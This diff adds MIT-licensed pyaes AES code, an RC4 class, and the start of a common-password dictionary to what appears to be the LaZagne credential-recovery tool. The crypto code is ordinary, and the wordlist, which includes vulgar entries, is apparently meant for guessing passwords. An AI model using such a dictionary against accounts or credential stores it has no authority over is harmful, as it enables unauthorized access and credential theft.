||||
result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
|
||||
result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
|
||||
|
||||
return result
|
||||
|
||||
|
||||
class Counter(object):
|
||||
'''A counter object for the Counter (CTR) mode of operation.
|
||||
|
||||
To create a custom counter, you can usually just override the
|
||||
increment method.'''
|
||||
|
||||
def __init__(self, initial_value = 1):
|
||||
|
||||
# Convert the value into an array of bytes long
|
||||
self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ]
|
||||
|
||||
value = property(lambda s: s._counter)
|
||||
|
||||
def increment(self):
|
||||
'''Increment the counter (overflow rolls back to 0).'''
|
||||
|
||||
for i in xrange(len(self._counter) - 1, -1, -1):
|
||||
self._counter[i] += 1
|
||||
|
||||
if self._counter[i] < 256: break
|
||||
|
||||
# Carry the one
|
||||
self._counter[i] = 0
|
||||
|
||||
# Overflow
|
||||
else:
|
||||
self._counter = [ 0 ] * len(self._counter)
|
||||
|
||||
|
||||
class AESBlockModeOfOperation(object):
|
||||
'''Super-class for AES modes of operation that require blocks.'''
|
||||
def __init__(self, key):
|
||||
self._aes = AES(key)
|
||||
|
||||
def decrypt(self, ciphertext):
|
||||
raise Exception('not implemented')
|
||||
|
||||
def encrypt(self, plaintext):
|
||||
raise Exception('not implemented')
|
||||
|
||||
|
||||
class AESStreamModeOfOperation(AESBlockModeOfOperation):
|
||||
'''Super-class for AES modes of operation that are stream-ciphers.'''
|
||||
|
||||
class AESSegmentModeOfOperation(AESStreamModeOfOperation):
|
||||
'''Super-class for AES modes of operation that segment data.'''
|
||||
|
||||
segment_bytes = 16
|
||||
|
||||
|
||||
|
||||
class AESModeOfOperationECB(AESBlockModeOfOperation):
|
||||
'''AES Electronic Codebook Mode of Operation.
|
||||
|
||||
o Block-cipher, so data must be padded to 16 byte boundaries
|
||||
|
||||
Security Notes:
|
||||
o This mode is not recommended
|
||||
o Any two identical blocks produce identical encrypted values,
|
||||
exposing data patterns. (See the image of Tux on wikipedia)
|
||||
|
||||
Also see:
|
||||
o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29
|
||||
o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1'''
|
||||
|
||||
|
||||
name = "Electronic Codebook (ECB)"
|
||||
|
||||
def encrypt(self, plaintext):
|
||||
if len(plaintext) != 16:
|
||||
raise ValueError('plaintext block must be 16 bytes')
|
||||
|
||||
plaintext = _string_to_bytes(plaintext)
|
||||
return _bytes_to_string(self._aes.encrypt(plaintext))
|
||||
|
||||
def decrypt(self, ciphertext):
|
||||
if len(ciphertext) != 16:
|
||||
raise ValueError('ciphertext block must be 16 bytes')
|
||||
|
||||
ciphertext = _string_to_bytes(ciphertext)
|
||||
return _bytes_to_string(self._aes.decrypt(ciphertext))
|
||||
|
||||
|
||||
|
||||
class AESModeOfOperationCBC(AESBlockModeOfOperation):
|
||||
'''AES Cipher-Block Chaining Mode of Operation.
|
||||
|
||||
o The Initialization Vector (IV)
|
||||
o Block-cipher, so data must be padded to 16 byte boundaries
|
||||
o An incorrect initialization vector will only cause the first
|
||||
block to be corrupt; all other blocks will be intact
|
||||
o A corrupt bit in the cipher text will cause a block to be
|
||||
corrupted, and the next block to be inverted, but all other
|
||||
blocks will be intact.
|
||||
|
||||
Security Notes:
|
||||
o This method (and CTR) ARE recommended.
|
||||
|
||||
Also see:
|
||||
o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29
|
||||
o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2'''
|
||||
|
||||
|
||||
name = "Cipher-Block Chaining (CBC)"
|
||||
|
||||
def __init__(self, key, iv = None):
|
||||
if iv is None:
|
||||
self._last_cipherblock = [ 0 ] * 16
|
||||
elif len(iv) != 16:
|
||||
raise ValueError('initialization vector must be 16 bytes')
|
||||
else:
|
||||
self._last_cipherblock = _string_to_bytes(iv)
|
||||
|
||||
AESBlockModeOfOperation.__init__(self, key)
|
||||
|
||||
def encrypt(self, plaintext):
|
||||
if len(plaintext) != 16:
|
||||
raise ValueError('plaintext block must be 16 bytes')
|
||||
|
||||
plaintext = _string_to_bytes(plaintext)
|
||||
precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ]
|
||||
self._last_cipherblock = self._aes.encrypt(precipherblock)
|
||||
|
||||
return _bytes_to_string(self._last_cipherblock)
|
||||
|
||||
def decrypt(self, ciphertext):
|
||||
if len(ciphertext) != 16:
|
||||
raise ValueError('ciphertext block must be 16 bytes')
|
||||
|
||||
cipherblock = _string_to_bytes(ciphertext)
|
||||
plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ]
|
||||
self._last_cipherblock = cipherblock
|
||||
|
||||
return _bytes_to_string(plaintext)
|
||||
|
||||
|
||||
|
||||
class AESModeOfOperationCFB(AESSegmentModeOfOperation):
|
||||
'''AES Cipher Feedback Mode of Operation.
|
||||
|
||||
o A stream-cipher, so input does not need to be padded to blocks,
|
||||
but does need to be padded to segment_size
|
||||
|
||||
Also see:
|
||||
o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29
|
||||
o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3'''
|
||||
|
||||
|
||||
name = "Cipher Feedback (CFB)"
|
||||
|
||||
def __init__(self, key, iv, segment_size = 1):
|
||||
if segment_size == 0: segment_size = 1
|
||||
|
||||
if iv is None:
|
||||
self._shift_register = [ 0 ] * 16
|
||||
elif len(iv) != 16:
|
||||
raise ValueError('initialization vector must be 16 bytes')
|
||||
else:
|
||||
self._shift_register = _string_to_bytes(iv)
|
||||
|
||||
self._segment_bytes = segment_size
|
||||
|
||||
AESBlockModeOfOperation.__init__(self, key)
|
||||
|
||||
segment_bytes = property(lambda s: s._segment_bytes)
|
||||
|
||||
def encrypt(self, plaintext):
|
||||
if len(plaintext) % self._segment_bytes != 0:
|
||||
raise ValueError('plaintext block must be a multiple of segment_size')
|
||||
|
||||
plaintext = _string_to_bytes(plaintext)
|
||||
|
||||
# Break block into segments
|
||||
encrypted = [ ]
|
||||
for i in xrange(0, len(plaintext), self._segment_bytes):
|
||||
plaintext_segment = plaintext[i: i + self._segment_bytes]
|
||||
xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)]
|
||||
cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ]
|
||||
|
||||
# Shift the top bits out and the ciphertext in
|
||||
self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
|
||||
|
||||
encrypted.extend(cipher_segment)
|
||||
|
||||
return _bytes_to_string(encrypted)
|
||||
|
||||
def decrypt(self, ciphertext):
|
||||
if len(ciphertext) % self._segment_bytes != 0:
|
||||
raise ValueError('ciphertext block must be a multiple of segment_size')
|
||||
|
||||
ciphertext = _string_to_bytes(ciphertext)
|
||||
|
||||
# Break block into segments
|
||||
decrypted = [ ]
|
||||
for i in xrange(0, len(ciphertext), self._segment_bytes):
|
||||
cipher_segment = ciphertext[i: i + self._segment_bytes]
|
||||
xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)]
|
||||
plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ]
|
||||
|
||||
# Shift the top bits out and the ciphertext in
|
||||
self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
|
||||
|
||||
decrypted.extend(plaintext_segment)
|
||||
|
||||
return _bytes_to_string(decrypted)
|
||||
|
||||
|
||||
|
||||
class AESModeOfOperationOFB(AESStreamModeOfOperation):
|
||||
'''AES Output Feedback Mode of Operation.
|
||||
|
||||
o A stream-cipher, so input does not need to be padded to blocks,
|
||||
allowing arbitrary length data.
|
||||
o A bit twiddled in the cipher text, twiddles the same bit in the
|
||||
same bit in the plain text, which can be useful for error
|
||||
correction techniques.
|
||||
|
||||
Also see:
|
||||
o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29
|
||||
o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4'''
|
||||
|
||||
|
||||
name = "Output Feedback (OFB)"
|
||||
|
||||
def __init__(self, key, iv = None):
|
||||
if iv is None:
|
||||
self._last_precipherblock = [ 0 ] * 16
|
||||
elif len(iv) != 16:
|
||||
raise ValueError('initialization vector must be 16 bytes')
|
||||
else:
|
||||
self._last_precipherblock = _string_to_bytes(iv)
|
||||
|
||||
self._remaining_block = [ ]
|
||||
|
||||
AESBlockModeOfOperation.__init__(self, key)
|
||||
|
||||
def encrypt(self, plaintext):
|
||||
encrypted = [ ]
|
||||
for p in _string_to_bytes(plaintext):
|
||||
if len(self._remaining_block) == 0:
|
||||
self._remaining_block = self._aes.encrypt(self._last_precipherblock)
|
||||
self._last_precipherblock = [ ]
|
||||
precipherbyte = self._remaining_block.pop(0)
|
||||
self._last_precipherblock.append(precipherbyte)
|
||||
cipherbyte = p ^ precipherbyte
|
||||
encrypted.append(cipherbyte)
|
||||
|
||||
return _bytes_to_string(encrypted)
|
||||
|
||||
def decrypt(self, ciphertext):
|
||||
# AES-OFB is symetric
|
||||
return self.encrypt(ciphertext)
|
||||
|
||||
|
||||
|
||||
class AESModeOfOperationCTR(AESStreamModeOfOperation):
|
||||
'''AES Counter Mode of Operation.
|
||||
|
||||
o A stream-cipher, so input does not need to be padded to blocks,
|
||||
allowing arbitrary length data.
|
||||
o The counter must be the same size as the key size (ie. len(key))
|
||||
o Each block independant of the other, so a corrupt byte will not
|
||||
damage future blocks.
|
||||
o Each block has a uniue counter value associated with it, which
|
||||
contributes to the encrypted value, so no data patterns are
|
||||
leaked.
|
||||
o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and
|
||||
Segmented Integer Counter (SIC
|
||||
|
||||
Security Notes:
|
||||
o This method (and CBC) ARE recommended.
|
||||
o Each message block is associated with a counter value which must be
|
||||
unique for ALL messages with the same key. Otherwise security may be
|
||||
compromised.
|
||||
|
||||
Also see:
|
||||
|
||||
o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29
|
||||
o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5
|
||||
and Appendix B for managing the initial counter'''
|
||||
|
||||
|
||||
name = "Counter (CTR)"
|
||||
|
||||
def __init__(self, key, counter = None):
|
||||
AESBlockModeOfOperation.__init__(self, key)
|
||||
|
||||
if counter is None:
|
||||
counter = Counter()
|
||||
|
||||
self._counter = counter
|
||||
self._remaining_counter = [ ]
|
||||
|
||||
def encrypt(self, plaintext):
|
||||
while len(self._remaining_counter) < len(plaintext):
|
||||
self._remaining_counter += self._aes.encrypt(self._counter.value)
|
||||
self._counter.increment()
|
||||
|
||||
plaintext = _string_to_bytes(plaintext)
|
||||
|
||||
encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ]
|
||||
self._remaining_counter = self._remaining_counter[len(encrypted):]
|
||||
|
||||
return _bytes_to_string(encrypted)
|
||||
|
||||
def decrypt(self, crypttext):
|
||||
# AES-CTR is symetric
|
||||
return self.encrypt(crypttext)
|
||||
|
||||
|
||||
# Simple lookup table for each mode
|
||||
AESModesOfOperation = dict(
|
||||
ctr = AESModeOfOperationCTR,
|
||||
cbc = AESModeOfOperationCBC,
|
||||
cfb = AESModeOfOperationCFB,
|
||||
ecb = AESModeOfOperationECB,
|
||||
ofb = AESModeOfOperationOFB,
|
||||
)
|
227
lazagne/config/crypto/pyaes/blockfeeder.py
Normal file
227
lazagne/config/crypto/pyaes/blockfeeder.py
Normal file
@ -0,0 +1,227 @@
|
||||
# The MIT License (MIT)
|
||||
#
|
||||
# Copyright (c) 2014 Richard Moore
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
# THE SOFTWARE.
|
||||
|
||||
|
||||
from .aes import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation
|
||||
from .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable
|
||||
|
||||
|
||||
# First we inject three functions to each of the modes of operations
|
||||
#
|
||||
# _can_consume(size)
|
||||
# - Given a size, determine how many bytes could be consumed in
|
||||
# a single call to either the decrypt or encrypt method
|
||||
#
|
||||
# _final_encrypt(data, padding = PADDING_DEFAULT)
|
||||
# - call and return encrypt on this (last) chunk of data,
|
||||
# padding as necessary; this will always be at least 16
|
||||
# bytes unless the total incoming input was less than 16
|
||||
# bytes
|
||||
#
|
||||
# _final_decrypt(data, padding = PADDING_DEFAULT)
|
||||
# - same as _final_encrypt except for decrypt, for
|
||||
# stripping off padding
|
||||
#
|
||||
|
||||
PADDING_NONE = 'none'
|
||||
PADDING_DEFAULT = 'default'
|
||||
|
||||
# @TODO: Ciphertext stealing and explicit PKCS#7
|
||||
# PADDING_CIPHERTEXT_STEALING
|
||||
# PADDING_PKCS7
|
||||
|
||||
# ECB and CBC are block-only ciphers
|
||||
|
||||
def _block_can_consume(self, size):
|
||||
if size >= 16: return 16
|
||||
return 0
|
||||
|
||||
# After padding, we may have more than one block
|
||||
def _block_final_encrypt(self, data, padding = PADDING_DEFAULT):
|
||||
if padding == PADDING_DEFAULT:
|
||||
data = append_PKCS7_padding(data)
|
||||
|
||||
elif padding == PADDING_NONE:
|
||||
if len(data) != 16:
|
||||
raise Exception('invalid data length for final block')
|
||||
else:
|
||||
raise Exception('invalid padding option')
|
||||
|
||||
if len(data) == 32:
|
||||
return self.encrypt(data[:16]) + self.encrypt(data[16:])
|
||||
|
||||
return self.encrypt(data)
|
||||
|
||||
|
||||
def _block_final_decrypt(self, data, padding = PADDING_DEFAULT):
|
||||
if padding == PADDING_DEFAULT:
|
||||
return strip_PKCS7_padding(self.decrypt(data))
|
||||
|
||||
if padding == PADDING_NONE:
|
||||
if len(data) != 16:
|
||||
raise Exception('invalid data length for final block')
|
||||
return self.decrypt(data)
|
||||
|
||||
raise Exception('invalid padding option')
|
||||
|
||||
AESBlockModeOfOperation._can_consume = _block_can_consume
|
||||
AESBlockModeOfOperation._final_encrypt = _block_final_encrypt
|
||||
AESBlockModeOfOperation._final_decrypt = _block_final_decrypt
|
||||
|
||||
|
||||
|
||||
# CFB is a segment cipher
|
||||
|
||||
def _segment_can_consume(self, size):
|
||||
return self.segment_bytes * int(size // self.segment_bytes)
|
||||
|
||||
# CFB can handle a non-segment-sized block at the end using the remaining cipherblock
|
||||
def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT):
|
||||
if padding != PADDING_DEFAULT:
|
||||
raise Exception('invalid padding option')
|
||||
|
||||
faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
|
||||
padded = data + to_bufferable(faux_padding)
|
||||
return self.encrypt(padded)[:len(data)]
|
||||
|
||||
# CFB can handle a non-segment-sized block at the end using the remaining cipherblock
|
||||
def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT):
|
||||
if padding != PADDING_DEFAULT:
|
||||
raise Exception('invalid padding option')
|
||||
|
||||
faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
|
||||
padded = data + to_bufferable(faux_padding)
|
||||
return self.decrypt(padded)[:len(data)]
|
||||
|
||||
AESSegmentModeOfOperation._can_consume = _segment_can_consume
|
||||
AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt
|
||||
AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt
|
||||
|
||||
|
||||
|
||||
# OFB and CTR are stream ciphers
|
||||
|
||||
def _stream_can_consume(self, size):
|
||||
return size
|
||||
|
||||
def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT):
|
||||
if padding not in [PADDING_NONE, PADDING_DEFAULT]:
|
||||
raise Exception('invalid padding option')
|
||||
|
||||
return self.encrypt(data)
|
||||
|
||||
def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT):
|
||||
if padding not in [PADDING_NONE, PADDING_DEFAULT]:
|
||||
raise Exception('invalid padding option')
|
||||
|
||||
return self.decrypt(data)
|
||||
|
||||
AESStreamModeOfOperation._can_consume = _stream_can_consume
|
||||
AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt
|
||||
AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt
|
||||
|
||||
|
||||
|
||||
class BlockFeeder(object):
|
||||
'''The super-class for objects to handle chunking a stream of bytes
|
||||
into the appropriate block size for the underlying mode of operation
|
||||
and applying (or stripping) padding, as necessary.'''
|
||||
|
||||
def __init__(self, mode, feed, final, padding = PADDING_DEFAULT):
|
||||
self._mode = mode
|
||||
self._feed = feed
|
||||
self._final = final
|
||||
self._buffer = to_bufferable("")
|
||||
self._padding = padding
|
||||
|
||||
def feed(self, data = None):
|
||||
'''Provide bytes to encrypt (or decrypt), returning any bytes
|
||||
possible from this or any previous calls to feed.
|
||||
|
||||
Call with None or an empty string to flush the mode of
|
||||
operation and return any final bytes; no further calls to
|
||||
feed may be made.'''
|
||||
|
||||
if self._buffer is None:
|
||||
raise ValueError('already finished feeder')
|
||||
|
||||
# Finalize; process the spare bytes we were keeping
|
||||
if data is None:
|
||||
result = self._final(self._buffer, self._padding)
|
||||
self._buffer = None
|
||||
return result
|
||||
|
||||
self._buffer += to_bufferable(data)
|
||||
|
||||
# We keep 16 bytes around so we can determine padding
|
||||
result = to_bufferable('')
|
||||
while len(self._buffer) > 16:
|
||||
can_consume = self._mode._can_consume(len(self._buffer) - 16)
|
||||
if can_consume == 0: break
|
||||
result += self._feed(self._buffer[:can_consume])
|
||||
self._buffer = self._buffer[can_consume:]
|
||||
|
||||
return result
|
||||
|
||||
|
||||
class Encrypter(BlockFeeder):
|
||||
'Accepts bytes of plaintext and returns encrypted ciphertext.'
|
||||
|
||||
def __init__(self, mode, padding = PADDING_DEFAULT):
|
||||
BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding)
|
||||
|
||||
|
||||
class Decrypter(BlockFeeder):
|
||||
'Accepts bytes of ciphertext and returns decrypted plaintext.'
|
||||
|
||||
def __init__(self, mode, padding = PADDING_DEFAULT):
|
||||
BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding)
|
||||
|
||||
|
||||
# 8kb blocks
|
||||
BLOCK_SIZE = (1 << 13)
|
||||
|
||||
def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE):
|
||||
'Uses feeder to read and convert from in_stream and write to out_stream.'
|
||||
|
||||
while True:
|
||||
chunk = in_stream.read(block_size)
|
||||
if not chunk:
|
||||
break
|
||||
converted = feeder.feed(chunk)
|
||||
out_stream.write(converted)
|
||||
converted = feeder.feed()
|
||||
out_stream.write(converted)
|
||||
|
||||
|
||||
def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
|
||||
'Encrypts a stream of bytes from in_stream to out_stream using mode.'
|
||||
|
||||
encrypter = Encrypter(mode, padding = padding)
|
||||
_feed_stream(encrypter, in_stream, out_stream, block_size)
|
||||
|
||||
|
||||
def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
|
||||
'Decrypts a stream of bytes from in_stream to out_stream using mode.'
|
||||
|
||||
decrypter = Decrypter(mode, padding = padding)
|
||||
_feed_stream(decrypter, in_stream, out_stream, block_size)
|
60
lazagne/config/crypto/pyaes/util.py
Normal file
60
lazagne/config/crypto/pyaes/util.py
Normal file
@ -0,0 +1,60 @@
|
||||
# The MIT License (MIT)
|
||||
#
|
||||
# Copyright (c) 2014 Richard Moore
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
# THE SOFTWARE.
|
||||
|
||||
# Why to_bufferable?
|
||||
# Python 3 is very different from Python 2.x when it comes to strings of text
|
||||
# and strings of bytes; in Python 3, strings of bytes do not exist, instead to
|
||||
# represent arbitrary binary data, we must use the "bytes" object. This method
|
||||
# ensures the object behaves as we need it to.
|
||||
|
||||
def to_bufferable(binary):
|
||||
return binary
|
||||
|
||||
def _get_byte(c):
|
||||
return ord(c)
|
||||
|
||||
try:
|
||||
xrange
|
||||
except NameError:
|
||||
|
||||
def to_bufferable(binary):
|
||||
if isinstance(binary, bytes):
|
||||
return binary
|
||||
return bytes(ord(b) for b in binary)
|
||||
|
||||
def _get_byte(c):
|
||||
return c
|
||||
|
||||
def append_PKCS7_padding(data):
|
||||
pad = 16 - (len(data) % 16)
|
||||
return data + to_bufferable(chr(pad) * pad)
|
||||
|
||||
def strip_PKCS7_padding(data):
|
||||
if len(data) % 16 != 0:
|
||||
raise ValueError("invalid length")
|
||||
|
||||
pad = _get_byte(data[-1])
|
||||
|
||||
if pad > 16:
|
||||
raise ValueError("invalid padding byte")
|
||||
|
||||
return data[:-pad]
|
57
lazagne/config/crypto/rc4.py
Normal file
57
lazagne/config/crypto/rc4.py
Normal file
@ -0,0 +1,57 @@
|
||||
# Thanks to g2jun for his RC4-Python project
|
||||
# Code from https://github.com/g2jun/RC4-Python
|
||||
|
||||
from lazagne.config.winstructure import char_to_int, chr_or_byte
|
||||
|
||||
|
||||
class RC4(object):
|
||||
|
||||
def __init__(self, key):
|
||||
self.key_bytes = self.text_to_bytes(key)
|
||||
|
||||
def text_to_bytes(self, text):
|
||||
byte_list = []
|
||||
|
||||
# on Windows, default coding for Chinese is GBK
|
||||
# s = s.decode('gbk').encode('utf-8')
|
||||
for byte in text:
|
||||
byte_list.append(char_to_int(byte))
|
||||
|
||||
return byte_list
|
||||
|
||||
def bytes_to_text(self, byte_list):
|
||||
s = b''
|
||||
for byte in byte_list:
|
||||
s += chr_or_byte(byte)
|
||||
return s
|
||||
|
||||
def encrypt(self, data):
|
||||
plain_bytes = self.text_to_bytes(data)
|
||||
keystream_bytes, cipher_bytes = self.crypt(plain_bytes, self.key_bytes)
|
||||
return self.bytes_to_text(cipher_bytes)
|
||||
|
||||
def crypt(self, plain_bytes, key_bytes):
|
||||
|
||||
keystream_list = []
|
||||
cipher_list = []
|
||||
|
||||
key_len = len(key_bytes)
|
||||
plain_len = len(plain_bytes)
|
||||
S = list(range(256))
|
||||
|
||||
j = 0
|
||||
for i in range(256):
|
||||
j = (j + S[i] + key_bytes[i % key_len]) % 256
|
||||
S[i], S[j] = S[j], S[i]
|
||||
|
||||
i = 0
|
||||
j = 0
|
||||
for m in range(plain_len):
|
||||
i = (i + 1) % 256
|
||||
j = (j + S[i]) % 256
|
||||
S[i], S[j] = S[j], S[i]
|
||||
k = S[(S[i] + S[j]) % 256]
|
||||
keystream_list.append(k)
|
||||
cipher_list.append(k ^ plain_bytes[m])
|
||||
|
||||
return keystream_list, cipher_list
|
503
lazagne/config/dico.py
Normal file
503
lazagne/config/dico.py
Normal file
@ -0,0 +1,503 @@
|
||||
def get_dic():
|
||||
return [
|
||||
b"password",
|
||||
b"123456",
|
||||
b"12345678",
|
||||
b"1234",
|
||||
b"qwerty",
|
||||
b"12345",
|
||||
b"dragon",
|
||||
b"pussy",
|
||||
b"baseball",
|
||||
b"football",
|
||||
b"letmein",
|
||||
b"monkey",
|
||||
b"696969",
|
||||
b"abc123",
|
||||
b"mustang",
|
||||
b"michael",
|
||||
b"shadow",
|
||||
b"master",
|
||||
b"jennifer",
|
||||
b"111111",
|
||||
b"2000",
|
||||
b"jordan",
|
||||
b"superman",
|
||||
b"harley",
|
||||
b"1234567",
|
||||
b"fuckme",
|
||||
b"hunter",
|
||||
b"fuckyob",
|
||||
b"trustno1",
|
||||
b"ranger",
|
||||
b"buster",
|
||||
b"thomas",
|
||||
b"tigger",
|
||||
b"robert",
|
||||
b"soccer",
|
||||
b"fuck",
|
||||
b"batman",
|
||||
b"test",
|
||||
b"pass",
|
||||
b"killer",
|
||||
b"hockey",
|
||||
b"george",
|
||||
b"charlie",
|
||||
b"andrew",
|
||||
b"michelle",
|
||||
b"love",
|
||||
b"sunshine",
|
||||
b"jessica",
|
||||
b"asshole",
|
||||
b"6969",
|
||||
b"pepper",
|
||||
b"daniel",
|
||||
b"access",
|
||||
b"123456789",
|
||||
b"654321",
|
||||
b"joshua",
|
||||
b"maggie",
|
||||
b"starwars",
|
||||
b"silver",
|
||||
b"william",
|
||||
b"dallas",
|
||||
b"yankees",
|
||||
b"123123",
|
||||
b"ashley",
|
||||
b"666666",
|
||||
b"hello",
|
||||
b"amanda",
|
||||
b"orange",
|
||||
b"biteme",
|
||||
b"freedom",
|
||||
b"computer",
|
||||
b"sexy",
|
||||
b"thunder",
|
||||
b"nicole",
|
||||
b"ginger",
|
||||
b"heather",
|
||||
b"hammer",
|
||||
b"summer",
|
||||
b"corvette",
|
||||
b"taylor",
|
||||
b"fucker",
|
||||
b"austin",
|
||||
b"1111",
|
||||
b"merlin",
|
||||
b"matthew",
|
||||
b"121212",
|
||||
b"golfer",
|
||||
b"cheese",
|
||||
b"princess",
|
||||
b"martin",
|
||||
b"chelsea",
|
||||
b"patrick",
|
||||
b"richard",
|
||||
b"diamond",
|
||||
b"yellow",
|
||||
b"bigdog",
|
||||
b"secret",
|
||||
b"asdfgh",
|
||||
b"sparky",
|
||||
b"cowboy",
|
||||
b"camaro",
|
||||
b"anthony",
|
||||
b"matrix",
|
||||
b"falcon",
|
||||
b"iloveyob",
|
||||
b"bailey",
|
||||
b"guitar",
|
||||
b"jackson",
|
||||
b"purple",
|
||||
b"scooter",
|
||||
b"phoenix",
|
||||
b"aaaaaa",
|
||||
b"morgan",
|
||||
b"tigers",
|
||||
b"porsche",
|
||||
b"mickey",
|
||||
b"maverick",
|
||||
b"cookie",
|
||||
b"nascar",
|
||||
b"peanut",
|
||||
b"justin",
|
||||
b"131313",
|
||||
b"money",
|
||||
b"horny",
|
||||
b"samantha",
|
||||
b"panties",
|
||||
b"steelers",
|
||||
b"joseph",
|
||||
b"snoopy",
|
||||
b"boomer",
|
||||
b"whatever",
|
||||
b"iceman",
|
||||
b"smokey",
|
||||
b"gateway",
|
||||
b"dakota",
|
||||
b"cowboys",
|
||||
b"eagles",
|
||||
b"chicken",
|
||||
b"dick",
|
||||
b"black",
|
||||
b"zxcvbn",
|
||||
b"please",
|
||||
b"andrea",
|
||||
b"ferrari",
|
||||
b"knight",
|
||||
b"hardcore",
|
||||
b"melissa",
|
||||
b"compaq",
|
||||
b"coffee",
|
||||
b"booboo",
|
||||
b"bitch",
|
||||
b"johnny",
|
||||
b"bulldog",
|
||||
b"xxxxxx",
|
||||
b"welcome",
|
||||
b"james",
|
||||
b"player",
|
||||
b"ncc1701",
|
||||
b"wizard",
|
||||
b"scooby",
|
||||
b"charles",
|
||||
b"junior",
|
||||
b"internet",
|
||||
b"bigdick",
|
||||
b"mike",
|
||||
b"brandy",
|
||||
b"tennis",
|
||||
b"blowjob",
|
||||
b"banana",
|
||||
b"monster",
|
||||
b"spider",
|
||||
b"lakers",
|
||||
b"miller",
|
||||
b"rabbit",
|
||||
b"enter",
|
||||
b"mercedes",
|
||||
b"brandon",
|
||||
b"steven",
|
||||
b"fender",
|
||||
b"john",
|
||||
b"yamaha",
|
||||
b"diablo",
|
||||
b"chris",
|
||||
b"boston",
|
||||
b"tiger",
|
||||
b"marine",
|
||||
b"chicago",
|
||||
b"rangers",
|
||||
b"gandalf",
|
||||
b"winter",
|
||||
b"bigtits",
|
||||
b"barney",
